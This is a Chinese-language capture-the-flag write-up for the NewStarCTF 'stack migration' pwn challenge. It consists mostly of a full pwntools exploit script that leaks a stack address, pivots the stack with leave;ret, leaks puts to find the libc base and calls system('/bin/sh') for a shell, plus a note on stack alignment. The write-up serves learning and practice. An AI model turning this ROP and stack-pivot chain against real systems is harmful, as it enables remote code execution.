NewStarCTF---stack migration
我们可以先checksec一下:
拖入IDA中,查看反汇编代码:
给我们了一点小礼物%p,泄露buf的地址,也就是泄露一个栈上的地址,毕竟buf这玩意就在栈上,其实我们也能想到,溢出的地址是非常少的,所以我们得进行栈迁移,栈地址泄露了,又能向栈地址上写数据,所以我们考虑将栈迁移到泄露的地址上,payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *context.log_level = 'debug' context.terminal = ['tmux' ,'splitw' ,'-h' ] context.arch = 'amd64' elf = ELF("./pwn" ) libc = ELF("./libc.so.6" ) puts_got = elf.got["puts" ] puts_plt = elf.plt["puts" ] ret_addr = 0x40101a leave_ret = 0x4012AA sh = remote("node5.buuoj.cn" ,28301 ) pop_rdi_ret = 0x401333 payload = p64(pop_rdi_ret) sh.send(payload) sh.recvuntil("I have a small gift for you: " ) stack_addr = sh.recv(14 ) stack_addr = int (stack_addr,16 ) print (type (stack_addr))print ("stack_addr--------->" ,hex (stack_addr))payload_1 = p64(puts_got) + p64(puts_plt) + p64(0x4011FF ) + b"A" *(0x38 ) + p64(stack_addr-0x8 ) + p64(leave_ret) sh.send(payload_1) sh.recvuntil("maybe I'll see you soon!\n" ) puts_addr = u64(sh.recv(6 ).ljust(8 ,b"\x00" )) print ("puts_addr--------->" ,hex (puts_addr))libc_base = puts_addr - libc.symbols["puts" ] print ("libc_base--------->" ,hex (libc_base))system_addr = libc_base + libc.symbols["system" ] bin_sh_addr = libc_base + next (libc.search(b"/bin/sh\x00" )) print ("system_addr--------->" ,hex (system_addr))print ("bin_sh_addr--------->" ,hex (bin_sh_addr))stack_addr_1 = stack_addr - 0x40 sh.send(p64(pop_rdi_ret)) payload_2 = p64(bin_sh_addr) + p64(ret_addr)+ p64(system_addr) + b"A" *(0x38 ) + p64(stack_addr_1-0x8 ) + p64(leave_ret) sh.send(payload_2) sh.interactive()
接下来,我们来解释一下payload,第一次发送8个字节p64(pop_rdi_ret),然后收到泄露的buf地址,第二次发送0x60个字节,将栈迁移(esp寄存器)到stack_addr(buf在栈上的地址),同时继续布置栈,让程序泄露puts函数的真实地址,并再次返回到主函数,此时栈的布局为:
然后,按照上面的方法,如法炮制一边,就可以,成功的getshell了。
值得注意的是:
1 payload_2 = p64(bin_sh_addr) + p64(ret_addr)+ p64(system_addr) + b"A"*(0x38) + p64(stack_addr_1-0x8) + p64(leave_ret)
1 payload_2 = p64(bin_sh_addr) + p64(system_addr) + b"A"*(0x38+0x8) + p64(stack_addr_1-0x8) + p64(leave_ret)
不能写成下面那个样子,虽然说也没毛病,但是应该是栈对齐的问题,这一点真的是折磨我了,踩了个大坑。